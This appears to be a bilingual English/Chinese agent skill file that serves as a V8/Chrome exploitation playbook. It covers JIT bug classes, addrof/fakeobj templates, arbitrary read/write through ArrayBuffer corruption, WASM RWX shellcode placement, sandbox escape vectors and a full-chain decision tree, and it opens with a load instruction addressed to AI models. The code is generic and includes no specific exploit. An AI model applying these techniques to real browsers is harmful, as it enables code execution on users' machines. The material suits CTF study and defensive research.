browser-exploitation-v8

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Browser / V8 Exploitation — Expert Attack Playbook

SKILL: 浏览器/V8漏洞利用 — 专家攻击手册

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
AI加载说明:专家级V8/Chrome漏洞利用技术,涵盖V8编译流水线、JIT类型混淆、addrof/fakeobj原语、ArrayBuffer损坏、WASM RWX页、V8沙箱(指针压缩)以及Chrome沙箱逃逸概述。内容提炼自ctf-wiki浏览器板块、Project Zero研究以及CTF竞赛常见模式。基础模型经常混淆V8对象表示的细节,且会忽略指针压缩的障碍。

0. RELATED ROUTING

0. 相关关联路径

  • sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
  • heap-exploitation — general heap concepts applicable to V8 heap
  • stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
  • binary-protection-bypass — ASLR/NX bypass in browser context
  • sandbox-escape-techniques — 通过IPC/Mojo实现Chrome渲染器沙箱逃逸
  • heap-exploitation — 适用于V8堆的通用堆概念
  • stack-overflow-and-rop — V8逃逸后执行原生代码所需的ROP概念
  • binary-protection-bypass — 浏览器场景下的ASLR/NX绕过

Advanced Reference

高级参考资料

Load V8_EXPLOITATION_PATTERNS.md when you need:
  • Detailed exploitation patterns and code templates
  • Heap layout manipulation and GC interaction
  • V8 sandbox bypass techniques
  • Object map confusion patterns

当你需要以下内容时加载V8_EXPLOITATION_PATTERNS.md
  • 详细的利用模式和代码模板
  • 堆布局操控与GC交互
  • V8沙箱绕过技术
  • 对象映射混淆模式

1. V8 ARCHITECTURE

1. V8架构

Compilation Pipeline

编译流水线

JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode
JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode

Key V8 Concepts

V8核心概念

ConceptDescription
Tagged pointersSMI (Small Integer):
value << 1
, HeapObject:
ptr | 1
Pointer compressionV8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)Define object shape: property names, types, offsets
Elements kindsInternal array type:
PACKED_SMI_ELEMENTS
,
PACKED_DOUBLE_ELEMENTS
,
PACKED_ELEMENTS
, etc.
Write barrierGC bookkeeping when heap pointers are written
Garbage collectionOrinoco GC: minor (Scavenge) and major (Mark-Compact)
概念描述
Tagged pointers小整数(SMI):
value << 1
, 堆对象(HeapObject):
ptr | 1
Pointer compressionV8 ≥ 8.0:通过沙箱基地址的32位偏移寻址对象(4GB沙箱)
Maps (Hidden Classes)定义对象形态:属性名、类型、偏移量
Elements kinds内部数组类型:
PACKED_SMI_ELEMENTS
PACKED_DOUBLE_ELEMENTS
PACKED_ELEMENTS
Write barrier写入堆指针时的GC记账操作
Garbage collectionOrinoco GC:新生代(Scavenge)和老年代(标记-清除)

Object Representation (64-bit, pointer compression)

对象表示(64位,指针压缩模式)

HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

2. 常见V8漏洞类型

Bug ClassDescriptionExample
JIT Type ConfusionTurboFan assumes wrong type after optimizationSpeculative type guard eliminated, wrong operation applied
Incorrect Bounds EliminationJIT removes array bounds check based on wrong range analysis
CheckBounds
node eliminated → OOB access
Prototype Chain ConfusionOptimization assumes stable prototype, mutations invalidatePrototype change after optimization → wrong property access
Turbofan Reduction BugIncorrect strength reduction or constant foldingInteger overflow in range analysis
Race ConditionSharedArrayBuffer + worker thread raceType confusion via concurrent modification
Off-by-one in BuiltinBoundary error in built-in function implementationString/Array bounds
Typer BugIncorrect type range computation in TurboFan
Typer
says value is in [0, N] but can be N+1
漏洞类型描述示例
JIT类型混淆TurboFan优化后假设了错误的类型推测类型守卫被消除,应用了错误的操作
错误边界消除JIT基于错误的范围分析移除了数组边界检查
CheckBounds
节点被消除 → 越界访问
原型链混淆优化假设原型稳定,后续变更导致失效优化后修改原型 → 错误的属性访问
Turbofan规约错误错误的强度削减或常量折叠范围分析中的整数溢出
竞态条件SharedArrayBuffer + 工作线程竞态并发修改导致的类型混淆
内置函数差一错误内置函数实现中的边界错误字符串/数组边界错误
类型分析器错误TurboFan中错误的类型范围计算
Typer
判定值处于[0, N]区间,但实际可以达到N+1

Triggering JIT Optimization

触发JIT优化

javascript
function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

javascript
function vuln(arr) {
    // ... 存在漏洞的代码路径 ...
}
// 多次调用强制优化
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// 或使用V8内置语法(仅d8支持):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

3. EXPLOITATION PRIMITIVES

3. 漏洞利用原语

addrof — Leak Object Address

addrof — 泄漏对象地址

javascript
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}
javascript
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // 具体实现取决于对应的漏洞
    // 通常:触发类型混淆,让数组将对象引用读取为浮点数
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // 浮点数转整数
}

fakeobj — Create Fake Object Reference

fakeobj — 创建伪造对象引用

javascript
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}
javascript
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // 整数转浮点数
    return object_array[0];                 // 现在成为指向addr的"指针"
}

Building Arbitrary R/W from addrof + fakeobj

基于addrof + fakeobj构建任意读写

javascript
// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

javascript
// 1. 创建布局已知的Float64Array
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. 在可控地址伪造一个Float64Array对象,修改其backing_store
// 3. 篡改backing_store指针指向目标地址
// 4. 通过伪造的Float64Array读写 → 实现任意读写

function read64(addr) {
    // 将伪造数组的backing_store设置为addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

4. 通过混淆数组边界实现越界读写

When TurboFan incorrectly eliminates bounds checks:
javascript
function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length
当TurboFan错误地消除了边界检查时:
javascript
function trigger(arr, idx) {
    // TurboFan认为idx始终小于arr.length
    // 但由于漏洞,idx可以超出边界
    return arr[idx];  // 越界读
}

// 越界读取相邻内存(下一个堆对象的元数据)
// 越界写入篡改下一个对象的map/elements/length

What's Adjacent in V8 Heap?

V8堆中的相邻对象

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
javascript
let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2

V8的新生代(新空间)中对象是顺序分配的,通过控制分配顺序可以实现:
javascript
let arr1 = new Array(0x10);    // 喷射对象
let arr2 = new Float64Array(0x10);  // 目标:与arr1相邻
// arr1的越界访问可以触及arr2的元数据
// 篡改arr2的长度 → 实现arr2的无限制越界访问

5. ARRAYBUFFER ARBITRARY R/W

5. ArrayBuffer实现任意读写

ArrayBuffer
's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
javascript
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr
ArrayBuffer
的backing store是指向分配内存的原始指针,篡改该指针可以获得绝对内存读写权限。
javascript
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// 如果你可以覆写ab的backing_store指针:
// ab.backing_store = target_addr
// view.getFloat64(0) → 从target_addr读取8字节
// view.setFloat64(0, val) → 写入target_addr

V8 Sandbox (Pointer Compression) Impact

V8沙箱(指针压缩)的影响

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
  • ArrayBuffer.backing_store
    is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

自V8 ≥ 8.0(指针压缩)和V8沙箱(≥ 11.x)起:
  • ArrayBuffer.backing_store
    沙箱指针(位于V8沙箱的4GB区域内)
  • 无法直接指向V8沙箱外部
  • 需要沙箱逃逸才能获得完整的进程内存访问权限

6. WASM RWX PAGE

6. WASM RWX页

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
javascript
// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode
Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

部分平台上WebAssembly JIT代码会放置在RWX(可读-可写-可执行)页上。
javascript
// 分配WASM模块 → JIT编译到RWX页
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → 指向RWX页

// 如果你可以找到并写入该页:
// 1. addrof(instance) → 找到WASM实例对象
// 2. 指针遍历:instance → jump_table_start → RWX页
// 3. 使用任意写将shellcode写入RWX页
// 4. 调用instance.exports.func() → 执行shellcode
现代Chrome:W^X强制机制意味着WASM页同一时间只能是RW或RX状态,不能同时为RWX。JIT代码在RW模式下写入,然后切换为RX模式。利用时需要找到写入窗口或者使用JIT喷射技术。

7. V8 SANDBOX

7. V8沙箱

Architecture (V8 ≥ 11.x)

架构(V8 ≥ 11.x)

Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘
Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘

Sandbox Escape Vectors

沙箱逃逸向量

VectorMethod
External pointer tableCorrupt entries in the external pointer table to reference arbitrary addresses
WASM code pointerOverwrite WASM function entry to jump to controlled shellcode
JIT code corruptionWrite to JIT code page via race condition or confused pointer
Mojo IPC (Chrome)Exploit Chrome IPC to attack browser process from compromised renderer
Backing store seal bypassFind type confusion to get unsandboxed pointer

向量方法
外部指针表篡改外部指针表中的条目,使其指向任意地址
WASM代码指针覆写WASM函数入口,跳转到可控的shellcode
JIT代码损坏通过竞态条件或混淆指针写入JIT代码页
Mojo IPC (Chrome)利用Chrome IPC,从被攻陷的渲染器进程攻击浏览器进程
Backing store密封绕过找到类型混淆漏洞获得非沙箱化指针

8. CHROME SANDBOX ESCAPE (OVERVIEW)

8. Chrome沙箱逃逸(概述)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:
StageTargetExample
Renderer exploitV8 / Blink DOMType confusion → shellcode
IPC/Mojo bugChrome IPC layerUse-after-free in Mojo interface
Browser process exploitPrivileged browser processCode execution outside sandbox
Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

通过V8漏洞实现渲染器RCE后,进程仍然处于沙箱中。完全攻陷需要:
阶段目标示例
渲染器漏洞利用V8 / Blink DOM类型混淆 → shellcode
IPC/Mojo漏洞Chrome IPC层Mojo接口中的释放后使用漏洞
浏览器进程漏洞利用特权浏览器进程沙箱外的代码执行
Mojo接口(Chrome的IPC)暴露了攻击面:可以在Mojo消息处理逻辑中寻找释放后使用或者类型混淆漏洞。

9. TOOLS

9. 工具

bash
undefined
bash
undefined

V8 debugging

V8调试

d8 --allow-natives-syntax exploit.js # Enable V8 intrinsics (%DebugPrint, etc.) d8 --trace-turbo exploit.js # Dump TurboFan IR d8 --print-opt-code exploit.js # Print optimized machine code
d8 --allow-natives-syntax exploit.js # 启用V8内置语法 (%DebugPrint等) d8 --trace-turbo exploit.js # 导出TurboFan IR d8 --print-opt-code exploit.js # 打印优化后的机器码

Turbolizer: visual TurboFan IR graph

Turbolizer: 可视化TurboFan IR图

Chrome DevTools Memory panel: heap snapshots

Chrome DevTools Memory面板: 堆快照

Build V8 for debugging

编译调试版V8

git clone https://chromium.googlesource.com/v8/v8.git gclient sync gn gen out/debug --args='is_debug=true v8_enable_sandbox=false' ninja -C out/debug d8

---
git clone https://chromium.googlesource.com/v8/v8.git gclient sync gn gen out/debug --args='is_debug=true v8_enable_sandbox=false' ninja -C out/debug d8

---

10. DECISION TREE

10. 决策树

V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)
V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)